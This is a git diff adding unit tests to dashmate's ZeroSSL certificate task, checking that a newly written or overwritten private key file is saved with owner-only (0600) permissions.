a/packages/dashmate/test/unit/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.spec.js b/packages/dashmate/test/unit/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.spec.js index 12bbb460e05..d078dd38d5c 100644 --- a/packages/dashmate/test/unit/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.spec.js +++ b/packages/dashmate/test/unit/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.spec.js @@ -1,4 +1,7 @@ +import fs from 'fs'; +import path from 'path'; import obtainZeroSSLCertificateTaskFactory from '../../../../src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; describe('obtainZeroSSLCertificateTaskFactory', () => { let config; @@ -61,4 +64,84 @@ describe('obtainZeroSSLCertificateTaskFactory', () => { expect(verificationServer.stop).to.have.been.called(); expect(verificationServer.destroy).to.have.been.called(); }); + + describe('private key file', () => { + // This flow persists the private key itself instead of delegating to + // saveCertificateTask, so it needs its own permissions coverage + let homeDir; + let privateKeyFilePath; + + beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + + const sslConfigDir = homeDir.joinPath('local', 'platform', 'gateway', 'ssl'); + + privateKeyFilePath = path.join(sslConfigDir, 'private.key'); + + // The certificate is valid and its bundle is already downloaded, so the pipeline + // goes straight from generating a keypair to persisting the new private key + validateZeroSslCertificate = this.sinon.stub().resolves({ + error: undefined, + data: { + sslConfigDir, + privateKeyFilePath, + csrFilePath: path.join(sslConfigDir, 'csr.pem'), + bundleFilePath: path.join(sslConfigDir, 'bundle.crt'), + apiKey: 'apiKey', + externalIp: '127.0.0.1', + certificate: { status: 'issued', expires: '2100-01-01 00:00:00' }, + isCsrFilePresent: false, + isPrivateKeyFilePresent: false, + isBundleFilePresent: true, + }, + }); + + obtainZeroSSLCertificateTask = obtainZeroSSLCertificateTaskFactory( + this.sinon.stub().resolves('CSR'), // generateCsr + this.sinon.stub().resolves({ privateKey: 'PRIVATE KEY' }), // generateKeyPair + this.sinon.stub(), // createZeroSSLCertificate + this.sinon.stub(), // verifyDomain + this.sinon.stub(), // downloadCertificate + this.sinon.stub(), // getCertificate + this.sinon.stub(), // listCertificates + this.sinon.stub(), // saveCertificateTask + verificationServer, + homeDir, + validateZeroSslCertificate, + { write: this.sinon.stub() }, // configFileRepository + {}, // configFile + ); + }); + + afterEach(() => { + homeDir.remove(); + }); + + /** + * @returns {number} + */ + function getPrivateKeyPermissions() { + // eslint-disable-next-line no-bitwise + return fs.statSync(privateKeyFilePath).mode & 0o777; + } + + it('should save the certificate private key accessible only to its owner', async () => { + await obtainZeroSSLCertificateTask(config).run({ expirationDays: 30 }); + + expect(fs.readFileSync(privateKeyFilePath, 'utf8')).to.equal('PRIVATE KEY'); + expect(getPrivateKeyPermissions()).to.equal(0o600); + }); + + it('should restrict permissions of an already existing world-readable private key', async () => { + // A key file left over from a previous certificate is overwritten in place + fs.mkdirSync(path.dirname(privateKeyFilePath), { recursive: true }); + fs.writeFileSync(privateKeyFilePath, 'PREVIOUS PRIVATE KEY', 'utf8'); + fs.chmodSync(privateKeyFilePath, 0o644); + + await obtainZeroSSLCertificateTask(config).run({ expirationDays: 30 }); + + expect(fs.readFileSync(privateKeyFilePath, 'utf8')).to.equal('PRIVATE KEY'); + expect(getPrivateKeyPermissions()).to.equal(0o600); + }); + }); });